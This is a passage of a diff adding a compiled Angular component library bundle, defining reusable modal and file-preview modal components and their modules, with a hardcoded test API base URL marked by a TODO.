em{display:inline-block;padding-right:5px}.modal-header .close{outline:none;margin-top:-9px}.modal-title-text{position:relative;top:-5px;left:5px}.modal-title-text-no-icon{font-size:16px}\n"], directives: [{ type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i1.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ReusableModalComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-reusable-modal',
+                    templateUrl: 'reusable-modal.component.html',
+                    styleUrls: ['reusable-modal.component.scss']
+                }]
+        }], ctorParameters: function () { return [{ type: i1$1.TranslationService }]; }, propDecorators: { modalTitle: [{
+                type: Input
+            }], faIconClasses: [{
+                type: Input
+            }], hasCloseBtn: [{
+                type: Input
+            }], onClose: [{
+                type: Output
+            }] } });
+
+// TODO: Fix environment
+const environment = {
+    apiUrl: "https://simprouat.wirelesslogic.com/v5/api/"
+};
+class WllModalFilePreviewComponent {
+    constructor(activeModal) {
+        this.activeModal = activeModal;
+        this.url = '';
+    }
+    ngOnInit() {
+        this.url = environment.apiUrl + this.filePath;
+    }
+}
+WllModalFilePreviewComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewComponent, deps: [{ token: i1$2.NgbActiveModal }], target: i0.ɵɵFactoryTarget.Component });
+WllModalFilePreviewComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WllModalFilePreviewComponent, selector: "wll-modal-file-preview.module.ts", inputs: { filePath: "filePath" }, ngImport: i0, template: "<wll-reusable-modal\n  [modalTitle]=\"'GUIBundle.generic.image_preview' | translate\"\n  faIconClasses=\"fa-info-circle fa-2x\"\n  (onClose)=\"activeModal.dismiss('Close click')\"\n>\n  <div modal-section=\"body\">\n<!--    <img class=\"image\" [src]=\"url | secure | async\" alt=\"WL\" />-->\n  </div>\n  <div modal-section=\"footer\">\n    <button (click)=\"activeModal.dismiss('Close click')\" class=\"btn btn-primary\">{{ \"GUIBundle.generic.cancel\" | translate }}</button>\n  </div>\n</wll-reusable-modal>\n", styles: [".image{max-width:100%}\n"], components: [{ type: ReusableModalComponent, selector: "wll-reusable-modal", inputs: ["modalTitle", "faIconClasses", "hasCloseBtn"], outputs: ["onClose"] }], pipes: { "translate": i2$1.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wll-modal-file-preview.module.ts',
+                    templateUrl: 'wll-modal-file-preview.component.html',
+                    styleUrls: ['wll-modal-file-preview.component.scss']
+                }]
+        }], ctorParameters: function () { return [{ type: i1$2.NgbActiveModal }]; }, propDecorators: { filePath: [{
+                type: Input
+            }] } });
+
+class WlReusableModalModule {
+}
+WlReusableModalModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
+WlReusableModalModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, declarations: [ReusableModalComponent], imports: [CommonModule,
+        TranslateModule,
+        RouterModule], exports: [ReusableModalComponent] });
+WlReusableModalModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, imports: [[
+            CommonModule,
+            TranslateModule,
+            RouterModule
+        ]] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlReusableModalModule, decorators: [{
+            type: NgModule,
+            args: [{
+                    declarations: [
+                        ReusableModalComponent
+                    ],
+                    imports: [
+                        CommonModule,
+                        TranslateModule,
+                        RouterModule
+                    ],
+                    exports: [
+                        ReusableModalComponent
+                    ]
+                }]
+        }] });
+
+class WllModalFilePreviewModule {
+}
+WllModalFilePreviewModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
+WllModalFilePreviewModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, declarations: [WllModalFilePreviewComponent], imports: [CommonModule,
+        TranslateModule,
+        RouterModule,
+        WlReusableModalModule], exports: [WllModalFilePreviewComponent] });
+WllModalFilePreviewModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, imports: [[
+            CommonModule,
+            TranslateModule,
+            RouterModule,
+            WlReusableModalModule,
+        ]] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WllModalFilePreviewModule, decorators: [{
+            type: NgModule,
+            args: [{
+                    declarations: [
+                        WllModalFilePreviewComponent
+                    ],
+                    imports: [
+                        CommonModule,
+                        TranslateModule,
+                        RouterModule,
+                        WlReusableModalModule,
+                    ],
+                    exports: [
+                        WllModalFilePreviewComponent
+                    ]
+                }]
+        }] });
+
+/**
+ * Generated bundle index. Do not edit.
+ */
+
+export { ActionButtonBarComponent, ActionButtonComponent, BackButtonComponent, BreadcrumbsComponent, DataListComponent, DataSectionComponent, IboxComponent, IboxContentComponent, IboxTitleComponent, ReusableModalComponent, WlBreadcrumbsModule, WlButtonModule, WlDataLayoutModule, WlEmptyBlockComponent, WlEmptyBlockModule, WlLayoutModule, WlReusableModalModule, WllModalFilePreviewComponent, WllModalFilePreviewModule, WrapperComponent };